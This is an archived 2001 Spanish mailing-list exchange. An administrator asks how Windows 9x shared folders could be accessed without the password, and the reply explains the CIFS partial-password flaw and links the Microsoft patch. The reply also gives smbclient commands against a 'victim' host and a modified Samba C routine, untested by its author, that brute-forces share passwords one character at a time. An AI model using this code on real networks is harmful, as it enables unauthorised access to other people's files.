[HACK] Grupo de trabajo en win 9x

Alejandro Castán Salinas alex.castan at upc.es
Mon Feb 26 09:59:47 CET 2001


Hola.

No estoy seguro, pero creo que sí existe manera.

En NetBIOS el sistema de comprobación de contraseñas de las carpetas
(protocolo CIFS) tiene una vulnerabilidad que permite acceder a ellas
rápidamente y sin dificultad. Tan sólo comprueba tantos caracteres de la
contraseña como se envían, así que un atacante puede probar todas las
contraseñas de un carácter y acceder al recurso, y encontrar la contraseña
original en un máximo de 256*longitud_contraseña intentos. Todo esto afecta
a Windows 95, 98 i ME, pero no a Windows NT 4.0 i Windows 2000, donde el
acceso a carpetas va por permisos de usuarios.

En resumidas cuentas: que si la contraseña es PEPE1234, con enviar P ya
accedo.

Notificación de vulnerabilidad --> http://www.securityfocus.com/bid/1780

Parche --> http://www.microsoft.com/technet/security/bulletin/fq00-072.asp

Si quereis probar la vulnerabilidad, una manera rápida es:

 - Desde Windows podéis utilizar el programa PQwak, escrito por Shane Hird.
Lo podéis encontrar en http://packetstorm.securify.com. Seguid las
instrucciones del programa.

 - Desde Linux, podéis bajar de www.samba.org el código fuente de la última
versión de Samba y modificar el fichero client.c. Se trata de modificar la
función do_connect, que intenta establecer una conexión:

   struct cli_state *do_connect(char *server, char *share)

Después hay que compilar e instalar Samba, obtener el nombre de los recursos
compartidos de una víctima ( $./smbclient -L nombre_victima -N ) y
conectarse con el nuevo cliente al recurso compartido de la víctima (
$./smbclient \\\\nombre_victima\\nombre_recurs -N ).

En la notificación de la vulnerabilidad aparece cómo cambiar el código para
acceder a los recursos compartidos mediante contraseña. Yo también lo cambié
para que encontrara las contraseñas, pero lo deje a medias y nunca lo llegué
a probar para ver si funcionaba. Lo dejé tal que así:

 - Declaré dos nuevas variables que utilizaba en el código que añadí:

   int i;
   char password[la longitud máxima que se crea conveniente];

 - El código a cambiar está entre las líneas DEBUG(4,(" session setup
ok\n")) i DEBUG(4,(" tconx ok\n")).

/*
 * Este código ya estaba. Hay que sacarlo o ponerlo como comentario.
 *
 * if (!cli_send_tconX(c, share, "?????", password, strlen(password)+1)) {
 *   DEBUG(0,("tree connect failed: %s\n", cli_errstr(c)));
 *   cli_shutdown(c);
 *   return NULL;
 *   }
 *
 * Lo que viene a continuación lo añado yo.
 */

/* Enviamos la contraseña sin encriptar */
c->sec_mode = 0;

/* Suponemos la longitud de la contraseña de 8 caracteres */
for (i=0; i<8; i++)
   for (password[i] = 1;
        (password[i] != 0) && !cli_send_tconX(c, share, "?????", password,
i+1);
        password[i]++);
password[i] = '\0';

if (!(strlen(password)==8))
   DEBUG(0, ("Contraseña: %s\n", password));
else {
   DEBUG(0,("tree connect failed: %s\n", cli_errstr(c)));
   cli_shutdown(c);
   return NULL;
   }

Seguro que se puede mejorar mucho y que ni de lejos funciona a la primera.

Espero no haberme equivocado de mucho. Hasta ahora.


Álex



----- Original Message -----
From: "J" <raiman at bigfoot.com>
To: "Hack" <hacking at argo.es>
Sent: Friday, February 23, 2001 8:21 PM
Subject: [HACK] Grupo de trabajo en win 9x


En mi oficina hay unas 12 máquinas que están unidas mediante un Hub (no
tenemos servidor). Recientemente nos hemos conectado mediante un router
y fibra optica a Casa de Gobierno (el router está conectado directamente
al Hub) donde nos dan salida a Internet y pasamos a formar parte de una
red privada provincial, todas las dependencias estatales se pueden
colgar a ella (es decir tenemos un segmento para nosostros).
Al no tener servidor no puedo instalar cortafuegos ni proxys, ni ...
(salvo que los instale en cada una de las máquinas). He instruido a
todos los ususrios para que al compartir sus discos lo hagan con
contraseñas seguras (todas la máquinas tienen Win 9x y utilizamos IPX y
NetBEUI para formar el grupo de trabajo y la extranet) (obviamente
salimos a Internet con TCP/IP).
Mi pregunta es: ¿existe alguna forma conocida de acceder a un disco
rígido en estas condiciones (con directorios compartidos) sin conocer la
contraseña?.
Si existe, ¿que recaudo debo tomar para evitarlo?.


Desde ya muchas gracias.

PD: No son problema los accesos desde Internet, ya que el servidor que
nos provee esta conxión si tiene seguridad (pero no está en mi oficina
ni tengo acceso a el) el problema es el acceso desde otros segmentos
(son muchos y muchas máquinas).

_______________________________________________
Lista - http://mailman.argo.es/listinfo/hacking
FAQ - http://www.argo.es/~jcea/artic/hack-faq.htm
"una-al-dia" para estar siempre informado - http://www.hispasec.com/




More information about the hacking mailing list